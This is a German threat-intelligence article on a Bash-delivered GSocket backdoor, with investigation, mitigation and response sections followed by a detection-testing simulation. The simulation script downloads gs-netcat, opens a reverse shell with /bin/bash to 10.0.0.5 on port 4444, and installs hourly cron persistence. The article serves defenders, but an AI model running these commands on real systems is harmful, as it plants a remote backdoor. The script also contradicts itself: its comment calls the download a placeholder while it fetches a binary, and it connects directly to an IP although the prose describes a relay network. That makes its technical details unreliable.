GSocket-Backdoor über Bash-Skript ausgeliefert

Ein bewaffnetes Bash-Skript lädt einen GSocket-Client herunter und startet ihn (gs-netcat), um eine Hintertür auf Linux- und macOS-Hosts zu etablieren. Es behält die Persistenz durch Cron-Jobs bei und ändert .profile, während ein gemeinsames Geheimnis in einer gefälschten SSH-Schlüssel-Datei gespeichert wird. Um die forensische Sichtbarkeit zu verringern, verwendet das Skript anti-forensische Methoden, die Zeitstempel ändern und Hinweise auf Dateiänderungen verbergen. Die resultierende Hintertür kommuniziert über das GSocket-Relaisnetzwerk nach außen zu einer Remote-IP.

Untersuchung

Der Forscher zündete das Skript in einer Sandbox an und bestätigte den Abruf des gs-netcat Binärdatei, das Erstellen eines auf Cron basierenden Persistenzeintrags und das Manipulieren von Benutzer-Startdateien. Eine gefälschte ELF-Datei mit dem Namen id_rsa wird in das .ssh Verzeichnis abgelegt, wobei das gemeinsame Geheimnis in das eingebettet ist, was wie ein SSH-Schlüssel aussieht. Auch Routinen zum Zurücksetzen der Zeitstempel wurden identifiziert, die auf bewusste Bemühungen hindeuten, forensische Zeitleisten zu verschleiern. Das Skript unterstützt mehrere Unix-ähnliche Systeme, indem es zuerst das Host-Betriebssystem erkennt.

Abschwächung

Verteidiger sollten ausgehenden Datenverkehr zu bekannten GSocket-Relay-Domains und IP-Adressen blockieren und auf unautorisierte Cron-Einträge oder verdächtige Änderungen an .profile and .ssh Pfade achten. Host-basierte Erkennungsmöglichkeiten sollten die Verwendung des gs-netcat Dateinamen sowie Befehle, die üblicherweise zur Manipulation von Zeitstempeln verwendet werden, kennzeichnen. Zugriffsrechte mit minimalen Rechten und Integritätsüberwachung auf Startdateien können das Potenzial der Hintertür, unbemerkt persistieren zu bleiben, weiter begrenzen.

Reaktion

Wenn diese Indikatoren erscheinen, isolieren Sie den Host, erfassen Sie das bösartige Skript und die abgelegten Binärdateien und beginnen Sie mit einer umfassenden forensischen Überprüfung. Entfernen Sie den Cron-Persistenzmechanismus und alle bösartigen Artefakte, drehen Sie betroffene SSH-Schlüssel und annulieren Sie alle geteilten Geheimnisse. Erweitern Sie die Suche über die gesamte Umgebung nach passenden Indikatoren und aktualisieren Sie die Erkennungsinhalte, um ähnliche Aktivitäten zu erfassen.

Simulation Execution

Voraussetzung: Der Telemetrie- & Basislinien-Pre-Flight-Check muss bestanden sein.

• Angriffserzählung & Befehle:
  Ein Angreifer mit eingeschränkten Rechten erlangt die gs-netcat Binary aus einem öffentlichen Repository, platziert es in /usr/local/bin, und startet es, um auf Port 4444 eine Reverse-Shell zu öffnen. Um den Zugang aufrechtzuerhalten, erstellt der Angreifer einen Cron-Job, der die Hintertür jede Stunde neu startet. Die Schritte werden von einer kompromittierten Shell auf dem Ziel-Host ausgeführt.

• Regressionstest-Skript:

  #!/usr/bin/env bash
  set -euo pipefail
  
  # 1. Download gs-netcat (simuliert mit einem kleinen Platzhalter-Binärprogramm)
  echo "[*] gs-netcat Platzhalter wird heruntergeladen ..."
  curl -s -o /usr/local/bin/gs-netcat https://raw.githubusercontent.com/maaaaz/gs-netcat/master/gs-netcat_linux_amd64
  chmod +x /usr/local/bin/gs-netcat
  
  # 2. Start gs-netcat im Hintergrund (Reverse-Shell zur Angreifer-IP 10.0.0.5)
  echo "[*] Starten der gs-netcat Reverse-Shell ..."
  /usr/local/bin/gs-netcat -d 10.0.0.5 -p 4444 -e /bin/bash &
  GSN_PID=$!
  
  # 3. Überprüfen, ob der Prozess läuft
  sleep 2
  ps -p "$GSN_PID" -o pid,cmd
  
  # 4. Erstellen eines Cron-Jobs, der gs-netcat zu jeder vollen Stunde neu startet
  echo "[*] Hinzufügen von Persistenz über Cron ..."
  (crontab -l 2>/dev/null; echo "0 * * * * /usr/local/bin/gs-netcat -d 10.0.0.5 -p 4444 -e /bin/bash >/dev/null 2>&1") | crontab -
  
  echo "[+] Simulation abgeschlossen. Auf Erkennung warten."

• Aufräumbefehle:

  #!/usr/bin/env bash
  set -euo pipefail
  
  # Entferne den oben hinzugefügten Cron-Eintrag
  echo "[*] Entfernen des bösartigen Cron-Jobs ..."
  crontab -l | grep -v "/usr/local/bin/gs-netcat -d 10.0.0.5 -p 4444 -e /bin/bash" | crontab -
  
  # Alle laufenden gs-netcat Prozesse beenden
  echo "[*] gs-netcat Prozesse beenden ..."
  pkill -f "/usr/local/bin/gs-netcat" || true
  
  # Lösche das Binärprogramm
  echo "[*] gs-netcat Binärdatei löschen ..."
  rm -f /usr/local/bin/gs-netcat
  
  echo "[+] Bereinigung abgeschlossen."